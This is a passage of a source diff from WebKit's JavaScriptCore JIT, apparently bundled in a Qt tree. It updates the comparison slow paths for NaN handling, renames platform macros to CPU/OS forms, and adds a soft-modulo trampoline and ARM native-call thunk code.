+            Jump fail1 = emitJumpIfNotImmediateNumber(regT1);
+            addPtr(tagTypeNumberRegister, regT1);
+            movePtrToDouble(regT1, fpRegT1);
+#else
+            Jump fail1;
+            if (!m_codeBlock->isKnownNotImmediate(op2))
+                fail1 = emitJumpIfNotJSCell(regT1);
+            
+            Jump fail2 = checkStructure(regT1, m_globalData->numberStructure.get());
+            loadDouble(Address(regT1, OBJECT_OFFSETOF(JSNumberCell, m_value)), fpRegT1);
+#endif
+            
+            int32_t op1imm = getConstantOperand(op1).asInt32();
+                    
+            move(Imm32(op1imm), regT0);
+            convertInt32ToDouble(regT0, fpRegT0);
+
+            emitJumpSlowToHot(branchDouble(DoubleLessThan, fpRegT0, fpRegT1), target);
+
+            emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnless));
+
+#if USE(JSVALUE64)
+            fail1.link(this);
+#else
+            if (!m_codeBlock->isKnownNotImmediate(op2))
+                fail1.link(this);
+            fail2.link(this);
+#endif
+        }
+
+        JITStubCall stubCall(this, cti_op_jless);
+        stubCall.addArgument(op1, regT2);
+        stubCall.addArgument(regT1);
+        stubCall.call();
+        emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
+
+    } else {
+        linkSlowCase(iter);
+
+        if (supportsFloatingPoint()) {
+#if USE(JSVALUE64)
+            Jump fail1 = emitJumpIfNotImmediateNumber(regT0);
+            Jump fail2 = emitJumpIfNotImmediateNumber(regT1);
+            Jump fail3 = emitJumpIfImmediateInteger(regT1);
+            addPtr(tagTypeNumberRegister, regT0);
+            addPtr(tagTypeNumberRegister, regT1);
+            movePtrToDouble(regT0, fpRegT0);
+            movePtrToDouble(regT1, fpRegT1);
+#else
+            Jump fail1;
+            if (!m_codeBlock->isKnownNotImmediate(op1))
+                fail1 = emitJumpIfNotJSCell(regT0);
+
+            Jump fail2;
+            if (!m_codeBlock->isKnownNotImmediate(op2))
+                fail2 = emitJumpIfNotJSCell(regT1);
+
+            Jump fail3 = checkStructure(regT0, m_globalData->numberStructure.get());
+            Jump fail4 = checkStructure(regT1, m_globalData->numberStructure.get());
+            loadDouble(Address(regT0, OBJECT_OFFSETOF(JSNumberCell, m_value)), fpRegT0);
+            loadDouble(Address(regT1, OBJECT_OFFSETOF(JSNumberCell, m_value)), fpRegT1);
+#endif
+
+            emitJumpSlowToHot(branchDouble(DoubleLessThan, fpRegT0, fpRegT1), target);
+
+            emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnless));
+
+#if USE(JSVALUE64)
+            fail1.link(this);
+            fail2.link(this);
+            fail3.link(this);
+#else
+            if (!m_codeBlock->isKnownNotImmediate(op1))
+                fail1.link(this);
+            if (!m_codeBlock->isKnownNotImmediate(op2))
+                fail2.link(this);
+            fail3.link(this);
+            fail4.link(this);
+#endif
+        }
+
+        linkSlowCase(iter);
+        JITStubCall stubCall(this, cti_op_jless);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(regT1);
+        stubCall.call();
+        emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
+    }
+}
+
 void JIT::emit_op_jnlesseq(Instruction* currentInstruction)
 {
     unsigned op1 = currentInstruction[1].u.operand;
@@ -1550,7 +1808,7 @@ void JIT::emitSlow_op_jnlesseq(Instruction* currentInstruction, Vector<SlowCaseE
             move(Imm32(op2imm), regT1);
             convertInt32ToDouble(regT1, fpRegT1);
 
-            emitJumpSlowToHot(branchDouble(DoubleLessThan, fpRegT1, fpRegT0), target);
+            emitJumpSlowToHot(branchDouble(DoubleLessThanOrUnordered, fpRegT1, fpRegT0), target);
 
             emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnlesseq));
 
@@ -1591,7 +1849,7 @@ void JIT::emitSlow_op_jnlesseq(Instruction* currentInstruction, Vector<SlowCaseE
             move(Imm32(op1imm), regT0);
             convertInt32ToDouble(regT0, fpRegT0);
 
-            emitJumpSlowToHot(branchDouble(DoubleLessThan, fpRegT1, fpRegT0), target);
+            emitJumpSlowToHot(branchDouble(DoubleLessThanOrUnordered, fpRegT1, fpRegT0), target);
 
             emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnlesseq));
 
@@ -1637,7 +1895,7 @@ void JIT::emitSlow_op_jnlesseq(Instruction* currentInstruction, Vector<SlowCaseE
             loadDouble(Address(regT1, OBJECT_OFFSETOF(JSNumberCell, m_value)), fpRegT1);
 #endif
 
-            emitJumpSlowToHot(branchDouble(DoubleLessThan, fpRegT1, fpRegT0), target);
+            emitJumpSlowToHot(branchDouble(DoubleLessThanOrUnordered, fpRegT1, fpRegT0), target);
 
             emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnlesseq));
 
@@ -1849,7 +2107,7 @@ void JIT::emitSlow_op_pre_dec(Instruction* currentInstruction, Vector<SlowCaseEn
 
 /* ------------------------------ BEGIN: OP_MOD ------------------------------ */
 
-#if PLATFORM(X86) || PLATFORM(X86_64)
+#if CPU(X86) || CPU(X86_64)
 
 void JIT::emit_op_mod(Instruction* currentInstruction)
 {
@@ -1898,7 +2156,7 @@ void JIT::emitSlow_op_mod(Instruction* currentInstruction, Vector<SlowCaseEntry>
     stubCall.call(result);
 }
 
-#else // PLATFORM(X86) || PLATFORM(X86_64)
+#else // CPU(X86) || CPU(X86_64)
 
 void JIT::emit_op_mod(Instruction* currentInstruction)
 {
@@ -1906,18 +2164,43 @@ void JIT::emit_op_mod(Instruction* currentInstruction)
     unsigned op1 = currentInstruction[2].u.operand;
     unsigned op2 = currentInstruction[3].u.operand;
 
+#if ENABLE(JIT_OPTIMIZE_MOD)    
+    emitGetVirtualRegisters(op1, regT0, op2, regT2);
+    emitJumpSlowCaseIfNotImmediateInteger(regT0);
+    emitJumpSlowCaseIfNotImmediateInteger(regT2);
+    
+    addSlowCase(branch32(Equal, regT2, Imm32(1)));
+
+    emitNakedCall(m_globalData->jitStubs.ctiSoftModulo());
+
+    emitPutVirtualRegister(result, regT0);
+#else
     JITStubCall stubCall(this, cti_op_mod);
     stubCall.addArgument(op1, regT2);
     stubCall.addArgument(op2, regT2);
     stubCall.call(result);
+#endif
 }
 
-void JIT::emitSlow_op_mod(Instruction*, Vector<SlowCaseEntry>::iterator&)
+void JIT::emitSlow_op_mod(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
 {
+#if ENABLE(JIT_OPTIMIZE_MOD)
+    unsigned result = currentInstruction[1].u.operand;
+    unsigned op1 = currentInstruction[2].u.operand;
+    unsigned op2 = currentInstruction[3].u.operand;
+    linkSlowCase(iter);
+    linkSlowCase(iter);
+    linkSlowCase(iter);
+    JITStubCall stubCall(this, cti_op_mod);
+    stubCall.addArgument(op1, regT2);
+    stubCall.addArgument(op2, regT2);
+    stubCall.call(result);
+#else
     ASSERT_NOT_REACHED();
+#endif
 }
 
-#endif // PLATFORM(X86) || PLATFORM(X86_64)
+#endif // CPU(X86) || CPU(X86_64)
 
 /* ------------------------------ END: OP_MOD ------------------------------ */
 
@@ -2160,27 +2443,10 @@ void JIT::emit_op_div(Instruction* currentInstruction)
     }
     divDouble(fpRegT1, fpRegT0);
 
-    JumpList doubleResult;
-    Jump end;
-    bool attemptIntConversion = (!isOperandConstantImmediateInt(op1) || getConstantOperand(op1).asInt32() > 1) && isOperandConstantImmediateInt(op2);
-    if (attemptIntConversion) {
-        m_assembler.cvttsd2si_rr(fpRegT0, regT0);
-        doubleResult.append(branchTest32(Zero, regT0));
-        m_assembler.ucomisd_rr(fpRegT1, fpRegT0);
-        
-        doubleResult.append(m_assembler.jne());
-        doubleResult.append(m_assembler.jp());
-        emitFastArithIntToImmNoCheck(regT0, regT0);
-        end = jump();
-    }
-
     // Double result.
-    doubleResult.link(this);
     moveDoubleToPtr(fpRegT0, regT0);
     subPtr(tagTypeNumberRegister, regT0);
 
-    if (attemptIntConversion)
-        end.link(this);
     emitPutVirtualRegister(dst, regT0);
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITCall.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JITCall.cpp
index f7fcc0a..da603bd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITCall.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITCall.cpp
@@ -159,7 +159,7 @@ void JIT::emit_op_construct_verify(Instruction* currentInstruction)
     emitLoad(dst, regT1, regT0);
     addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::CellTag)));
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addSlowCase(branch32(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo) + OBJECT_OFFSETOF(TypeInfo, m_type)), Imm32(ObjectType)));
+    addSlowCase(branch8(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo) + OBJECT_OFFSETOF(TypeInfo, m_type)), Imm32(ObjectType)));
 }
 
 void JIT::emitSlow_op_construct_verify(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
@@ -315,7 +315,13 @@ void JIT::compileOpCall(OpcodeID opcodeID, Instruction* instruction, unsigned ca
     emitLoad(callee, regT1, regT0);
 
     DataLabelPtr addressOfLinkedFunctionCheck;
+
+    BEGIN_UNINTERRUPTED_SEQUENCE(sequenceOpCall);
+
     Jump jumpToSlow = branchPtrWithPatch(NotEqual, regT0, addressOfLinkedFunctionCheck, ImmPtr(0));
+
+    END_UNINTERRUPTED_SEQUENCE(sequenceOpCall);
+
     addSlowCase(jumpToSlow);
     ASSERT(differenceBetween(addressOfLinkedFunctionCheck, jumpToSlow) == patchOffsetOpCallCompareToJump);
     m_callStructureStubCompilationInfo[callLinkInfoIndex].hotPathBegin = addressOfLinkedFunctionCheck;
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITCode.h b/src/3rdparty/webkit/JavaScriptCore/jit/JITCode.h
index 69cf167..5d889b5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITCode.h
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITCode.h
@@ -26,8 +26,6 @@
 #ifndef JITCode_h
 #define JITCode_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(JIT)
 
 #include "CallFrame.h"
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITInlineMethods.h b/src/3rdparty/webkit/JavaScriptCore/jit/JITInlineMethods.h
index 93d6ce7..91d891e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITInlineMethods.h
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITInlineMethods.h
@@ -26,7 +26,6 @@
 #ifndef JITInlineMethods_h
 #define JITInlineMethods_h
 
-#include <wtf/Platform.h>
 
 #if ENABLE(JIT)
 
@@ -37,7 +36,7 @@ namespace JSC {
 // puts an arg onto the stack, as an arg to a context threaded function.
 ALWAYS_INLINE void JIT::emitPutJITStubArg(RegisterID src, unsigned argumentNumber)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     poke(src, argumentStackOffset);
 }
 
@@ -45,7 +44,7 @@ ALWAYS_INLINE void JIT::emitPutJITStubArg(RegisterID src, unsigned argumentNumbe
 
 ALWAYS_INLINE void JIT::emitPutJITStubArgConstant(unsigned value, unsigned argumentNumber)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     poke(Imm32(value), argumentStackOffset);
 }
 
@@ -53,7 +52,7 @@ ALWAYS_INLINE void JIT::emitPutJITStubArgConstant(unsigned value, unsigned argum
 
 ALWAYS_INLINE void JIT::emitPutJITStubArgConstant(void* value, unsigned argumentNumber)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     poke(ImmPtr(value), argumentStackOffset);
 }
 
@@ -61,7 +60,7 @@ ALWAYS_INLINE void JIT::emitPutJITStubArgConstant(void* value, unsigned argument
 
 ALWAYS_INLINE void JIT::emitGetJITStubArg(unsigned argumentNumber, RegisterID dst)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     peek(dst, argumentStackOffset);
 }
 
@@ -115,7 +114,7 @@ ALWAYS_INLINE JIT::Call JIT::emitNakedCall(CodePtr function)
 
 ALWAYS_INLINE void JIT::beginUninterruptedSequence(int insnSpace, int constSpace)
 {
-#if PLATFORM(ARM_TRADITIONAL)
+#if CPU(ARM_TRADITIONAL)
 #ifndef NDEBUG
     // Ensure the label after the sequence can also fit
     insnSpace += sizeof(ARMWord);
@@ -144,7 +143,7 @@ ALWAYS_INLINE void JIT::endUninterruptedSequence(int insnSpace, int constSpace)
 
 #endif
 
-#if PLATFORM(ARM)
+#if CPU(ARM)
 
 ALWAYS_INLINE void JIT::preserveReturnAddressAfterCall(RegisterID reg)
 {
@@ -161,7 +160,7 @@ ALWAYS_INLINE void JIT::restoreReturnAddressBeforeReturn(Address address)
     loadPtr(address, linkRegister);
 }
 
-#else // PLATFORM(X86) || PLATFORM(X86_64)
+#else // CPU(X86) || CPU(X86_64)
 
 ALWAYS_INLINE void JIT::preserveReturnAddressAfterCall(RegisterID reg)
 {
@@ -194,10 +193,10 @@ ALWAYS_INLINE void JIT::restoreArgumentReference()
 }
 ALWAYS_INLINE void JIT::restoreArgumentReferenceForTrampoline()
 {
-#if PLATFORM(X86)
+#if CPU(X86)
     // Within a trampoline the return address will be on the stack at this point.
     addPtr(Imm32(sizeof(void*)), stackPointerRegister, firstArgumentRegister);
-#elif PLATFORM(ARM)
+#elif CPU(ARM)
     move(stackPointerRegister, firstArgumentRegister);
 #endif
     // In the trampoline on x86-64, the first argument register is not overwritten.
@@ -265,9 +264,9 @@ ALWAYS_INLINE void JIT::clearSamplingFlag(int32_t flag)
 #if ENABLE(SAMPLING_COUNTERS)
 ALWAYS_INLINE void JIT::emitCount(AbstractSamplingCounter& counter, uint32_t count)
 {
-#if PLATFORM(X86_64) // Or any other 64-bit plattform.
+#if CPU(X86_64) // Or any other 64-bit plattform.
     addPtr(Imm32(count), AbsoluteAddress(&counter.m_counter));
-#elif PLATFORM(X86) // Or any other little-endian 32-bit plattform.
+#elif CPU(X86) // Or any other little-endian 32-bit plattform.
     intptr_t hiWord = reinterpret_cast<intptr_t>(&counter.m_counter) + sizeof(int32_t);
     add32(Imm32(count), AbsoluteAddress(&counter.m_counter));
     addWithCarry32(Imm32(0), AbsoluteAddress(reinterpret_cast<void*>(hiWord)));
@@ -278,7 +277,7 @@ ALWAYS_INLINE void JIT::emitCount(AbstractSamplingCounter& counter, uint32_t cou
 #endif
 
 #if ENABLE(OPCODE_SAMPLING)
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
 ALWAYS_INLINE void JIT::sampleInstruction(Instruction* instruction, bool inHostFunction)
 {
     move(ImmPtr(m_interpreter->sampler()->sampleSlot()), X86Registers::ecx);
@@ -293,7 +292,7 @@ ALWAYS_INLINE void JIT::sampleInstruction(Instruction* instruction, bool inHostF
 #endif
 
 #if ENABLE(CODEBLOCK_SAMPLING)
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
 ALWAYS_INLINE void JIT::sampleCodeBlock(CodeBlock* codeBlock)
 {
     move(ImmPtr(m_interpreter->sampler()->codeBlockSlot()), X86Registers::ecx);
@@ -585,7 +584,7 @@ ALWAYS_INLINE bool JIT::getOperandConstantImmediateInt(unsigned op1, unsigned op
 
 ALWAYS_INLINE void JIT::emitPutJITStubArg(RegisterID tag, RegisterID payload, unsigned argumentNumber)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     poke(payload, argumentStackOffset);
     poke(tag, argumentStackOffset + 1);
 }
@@ -594,7 +593,7 @@ ALWAYS_INLINE void JIT::emitPutJITStubArg(RegisterID tag, RegisterID payload, un
 
 ALWAYS_INLINE void JIT::emitPutJITStubArgFromVirtualRegister(unsigned src, unsigned argumentNumber, RegisterID scratch1, RegisterID scratch2)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     if (m_codeBlock->isConstantRegisterIndex(src)) {
         JSValue constant = m_codeBlock->getConstant(src);
         poke(Imm32(constant.payload()), argumentStackOffset);
@@ -817,7 +816,7 @@ ALWAYS_INLINE void JIT::emitFastArithImmToInt(RegisterID reg)
 #if USE(JSVALUE64)
     UNUSED_PARAM(reg);
 #else
-    rshiftPtr(Imm32(JSImmediate::IntegerPayloadShift), reg);
+    rshift32(Imm32(JSImmediate::IntegerPayloadShift), reg);
 #endif
 }
 
@@ -846,7 +845,7 @@ ALWAYS_INLINE void JIT::emitTagAsBoolImmediate(RegisterID reg)
 // get arg puts an arg from the SF register array onto the stack, as an arg to a context threaded function.
 ALWAYS_INLINE void JIT::emitPutJITStubArgFromVirtualRegister(unsigned src, unsigned argumentNumber, RegisterID scratch)
 {
-    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + 1;
+    unsigned argumentStackOffset = (argumentNumber * (sizeof(JSValue) / sizeof(void*))) + JITSTACKFRAME_ARGS_INDEX;
     if (m_codeBlock->isConstantRegisterIndex(src)) {
         JSValue value = m_codeBlock->getConstant(src);
         poke(ImmPtr(JSValue::encode(value)), argumentStackOffset);
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITOpcodes.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JITOpcodes.cpp
index 14736cf..d04857c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITOpcodes.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITOpcodes.cpp
@@ -1,5 +1,6 @@
 /*
  * Copyright (C) 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 Patrick Gansterer <paroga@paroga.com>
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -40,8 +41,12 @@ namespace JSC {
 
 #if USE(JSVALUE32_64)
 
-void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executablePool, JSGlobalData* globalData, CodePtr* ctiStringLengthTrampoline, CodePtr* ctiVirtualCallLink, CodePtr* ctiVirtualCall, CodePtr* ctiNativeCallThunk)
+void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executablePool, JSGlobalData* globalData, TrampolineStructure *trampolines)
 {
+#if ENABLE(JIT_OPTIMIZE_MOD)
+    Label softModBegin = align();
+    softModulo();
+#endif
 #if ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
     // (1) This function provides fast property access for string length
     Label stringLengthBegin = align();
@@ -52,8 +57,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     Jump string_failureCases2 = branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsStringVPtr));
 
     // Checks out okay! - get the length from the Ustring.
-    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSString, m_value) + OBJECT_OFFSETOF(UString, m_rep)), regT2);
-    load32(Address(regT2, OBJECT_OFFSETOF(UString::Rep, len)), regT2);
+    load32(Address(regT0, OBJECT_OFFSETOF(JSString, m_length)), regT2);
 
     Jump string_failureCases3 = branch32(Above, regT2, Imm32(INT_MAX));
     move(regT2, regT0);
@@ -138,7 +142,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     loadPtr(Address(regT2, OBJECT_OFFSETOF(FunctionExecutable, m_jitCode)), regT0);
     jump(regT0);
 
-#if PLATFORM(X86)
+#if CPU(X86) || CPU(ARM_TRADITIONAL)
     Label nativeCallThunk = align();
     preserveReturnAddressAfterCall(regT0);
     emitPutToCallFrameHeader(regT0, RegisterFile::ReturnPC); // Push return address
@@ -149,6 +153,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     emitGetFromCallFrameHeaderPtr(RegisterFile::ScopeChain, regT1, regT1);
     emitPutToCallFrameHeader(regT1, RegisterFile::ScopeChain);
     
+#if CPU(X86)
     emitGetFromCallFrameHeader32(RegisterFile::ArgumentCount, regT0);
 
     /* We have two structs that we use to describe the stackframe we set up for our
@@ -160,7 +165,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
      * stack pointer by the right amount after the call.
      */
 
-#if COMPILER(MSVC) || PLATFORM(LINUX)
+#if COMPILER(MSVC) || OS(LINUX)
 #if COMPILER(MSVC)
 #pragma pack(push)
 #pragma pack(4)
@@ -223,7 +228,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     storePtr(regT2, Address(stackPointerRegister, OBJECT_OFFSETOF(NativeCallFrameStructure, thisValue) + OBJECT_OFFSETOF(JSValue, u.asBits.payload)));
     storePtr(regT3, Address(stackPointerRegister, OBJECT_OFFSETOF(NativeCallFrameStructure, thisValue) + OBJECT_OFFSETOF(JSValue, u.asBits.tag)));
 
-#if COMPILER(MSVC) || PLATFORM(LINUX)
+#if COMPILER(MSVC) || OS(LINUX)
     // ArgList is passed by reference so is stackPointerRegister + 4 * sizeof(Register)
     addPtr(Imm32(OBJECT_OFFSETOF(NativeCallFrameStructure, result)), stackPointerRegister, X86Registers::ecx);
 
@@ -248,6 +253,95 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     // so pull them off now
     addPtr(Imm32(NativeCallFrameSize - sizeof(NativeFunctionCalleeSignature)), stackPointerRegister);
 
+#elif CPU(ARM_TRADITIONAL)
+    emitGetFromCallFrameHeader32(RegisterFile::ArgumentCount, regT0);
+
+    // Allocate stack space for our arglist
+    COMPILE_ASSERT((sizeof(ArgList) & 0x7) == 0 && sizeof(JSValue) == 8 && sizeof(Register) == 8, ArgList_should_by_8byte_aligned);
+    subPtr(Imm32(sizeof(ArgList)), stackPointerRegister);
+
+    // Set up arguments
+    subPtr(Imm32(1), regT0); // Don't include 'this' in argcount
+
+    // Push argcount
+    storePtr(regT0, Address(stackPointerRegister, OBJECT_OFFSETOF(ArgList, m_argCount)));
+
+    // Calculate the start of the callframe header, and store in regT1
+    move(callFrameRegister, regT1);
+    sub32(Imm32(RegisterFile::CallFrameHeaderSize * (int32_t)sizeof(Register)), regT1);
+
+    // Calculate start of arguments as callframe header - sizeof(Register) * argcount (regT1)
+    mul32(Imm32(sizeof(Register)), regT0, regT0);
+    subPtr(regT0, regT1);
+
+    // push pointer to arguments
+    storePtr(regT1, Address(stackPointerRegister, OBJECT_OFFSETOF(ArgList, m_args)));
+
+    // Argument passing method:
+    // r0 - points to return value
+    // r1 - callFrame
+    // r2 - callee
+    // stack: this(JSValue) and a pointer to ArgList
+
+#if OS(WINCE)
+    // Setup arg4:
+    push(stackPointerRegister);
+
+    // Setup arg3:
+    // regT1 currently points to the first argument, regT1-sizeof(Register) points to 'this'
+    load32(Address(regT1, -(int32_t)sizeof(void*) * 2), ARMRegisters::r3);
+    push(ARMRegisters::r3);
+    load32(Address(regT1, -(int32_t)sizeof(void*)), regT3);
+    storePtr(regT3, Address(stackPointerRegister));
+
+    // Setup arg2:
+    emitGetFromCallFrameHeaderPtr(RegisterFile::Callee, regT2);
+
+    // Setup arg1:
+    move(callFrameRegister, regT1);
+
+    // Setup arg0:
+    move(stackPointerRegister, regT0);
+
+    call(Address(regT2, OBJECT_OFFSETOF(JSFunction, m_data)));
+
+    load32(Address(stackPointerRegister, 0), regT0);
+    load32(Address(stackPointerRegister, 4), regT1);
+
+    addPtr(Imm32(sizeof(ArgList) + 8), stackPointerRegister);
+#else // OS(WINCE)
+    move(stackPointerRegister, regT3);
+    subPtr(Imm32(8), stackPointerRegister);
+    move(stackPointerRegister, regT0);
+    subPtr(Imm32(8 + 4 + 4 /* padding */), stackPointerRegister);
+
+    // Setup arg4:
+    storePtr(regT3, Address(stackPointerRegister, 8));
+
+    // Setup arg3:
+    // regT1 currently points to the first argument, regT1-sizeof(Register) points to 'this'
+    load32(Address(regT1, -(int32_t)sizeof(void*) * 2), regT3);
+    storePtr(regT3, Address(stackPointerRegister, 0));
+    load32(Address(regT1, -(int32_t)sizeof(void*)), regT3);
+    storePtr(regT3, Address(stackPointerRegister, 4));
+
+    // Setup arg2:
+    emitGetFromCallFrameHeaderPtr(RegisterFile::Callee, regT2);
+
+    // Setup arg1:
+    move(callFrameRegister, regT1);
+
+    call(Address(regT2, OBJECT_OFFSETOF(JSFunction, m_data)));
+
+    // Load return value
+    load32(Address(stackPointerRegister, 16), regT0);
+    load32(Address(stackPointerRegister, 20), regT1);
+
+    addPtr(Imm32(sizeof(ArgList) + 16 + 8), stackPointerRegister);
+#endif // OS(WINCE)
+
+#endif
+
     // Check for an exception
     move(ImmPtr(&globalData->exception), regT2);
     Jump sawException = branch32(NotEqual, tagFor(0, regT2), Imm32(JSValue::EmptyValueTag));
@@ -305,18 +399,21 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     CodeRef finalCode = patchBuffer.finalizeCode();
     *executablePool = finalCode.m_executablePool;
 
-    *ctiVirtualCall = trampolineAt(finalCode, virtualCallBegin);
-    *ctiNativeCallThunk = trampolineAt(finalCode, nativeCallThunk);
+    trampolines->ctiVirtualCall = trampolineAt(finalCode, virtualCallBegin);
+    trampolines->ctiNativeCallThunk = trampolineAt(finalCode, nativeCallThunk);
 #if ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
-    *ctiStringLengthTrampoline = trampolineAt(finalCode, stringLengthBegin);
+    trampolines->ctiStringLengthTrampoline = trampolineAt(finalCode, stringLengthBegin);
 #else
     UNUSED_PARAM(ctiStringLengthTrampoline);
 #endif
 #if ENABLE(JIT_OPTIMIZE_CALL)
-    *ctiVirtualCallLink = trampolineAt(finalCode, virtualCallLinkBegin);
+    trampolines->ctiVirtualCallLink = trampolineAt(finalCode, virtualCallLinkBegin);
 #else
     UNUSED_PARAM(ctiVirtualCallLink);
 #endif
+#if ENABLE(JIT_OPTIMIZE_MOD)
+    trampolines->ctiSoftModulo = trampolineAt(finalCode, softModBegin);
+#endif
 }
 
 void JIT::emit_op_mov(Instruction* currentInstruction)
@@ -349,58 +446,6 @@ void JIT::emit_op_jmp(Instruction* currentInstruction)
     addJump(jump(), target);
 }
 
-void JIT::emit_op_loop(Instruction* currentInstruction)
-{
-    unsigned target = currentInstruction[1].u.operand;
-    emitTimeoutCheck();
-    addJump(jump(), target);
-}
-
-void JIT::emit_op_loop_if_less(Instruction* currentInstruction)
-{
-    unsigned op1 = currentInstruction[1].u.operand;
-    unsigned op2 = currentInstruction[2].u.operand;
-    unsigned target = currentInstruction[3].u.operand;
-
-    emitTimeoutCheck();
-
-    if (isOperandConstantImmediateInt(op1)) {
-        emitLoad(op2, regT1, regT0);
-        addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag)));
-        addJump(branch32(GreaterThan, regT0, Imm32(getConstantOperand(op1).asInt32())), target);
-        return;
-    }
-    
-    if (isOperandConstantImmediateInt(op2)) {
-        emitLoad(op1, regT1, regT0);
-        addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag)));
-        addJump(branch32(LessThan, regT0, Imm32(getConstantOperand(op2).asInt32())), target);
-        return;
-    }
-
-    emitLoad2(op1, regT1, regT0, op2, regT3, regT2);
-    addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag)));
-    addSlowCase(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
-    addJump(branch32(LessThan, regT0, regT2), target);
-}
-
-void JIT::emitSlow_op_loop_if_less(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    unsigned op1 = currentInstruction[1].u.operand;
-    unsigned op2 = currentInstruction[2].u.operand;
-    unsigned target = currentInstruction[3].u.operand;
-
-    if (!isOperandConstantImmediateInt(op1) && !isOperandConstantImmediateInt(op2))
-        linkSlowCase(iter); // int32 check
-    linkSlowCase(iter); // int32 check
-
-    JITStubCall stubCall(this, cti_op_loop_if_less);
-    stubCall.addArgument(op1);
-    stubCall.addArgument(op2);
-    stubCall.call();
-    emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
-}
-
 void JIT::emit_op_loop_if_lesseq(Instruction* currentInstruction)
 {
     unsigned op1 = currentInstruction[1].u.operand;
@@ -471,7 +516,7 @@ void JIT::emit_op_instanceof(Instruction* currentInstruction)
 
     // Check that baseVal 'ImplementsDefaultHasInstance'.
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT0);
-    addSlowCase(branchTest32(Zero, Address(regT0, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(ImplementsDefaultHasInstance)));
+    addSlowCase(branchTest8(Zero, Address(regT0, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(ImplementsDefaultHasInstance)));
 
     // Optimistically load the result true, and start looping.
     // Initially, regT1 still contains proto and regT2 still contains value.
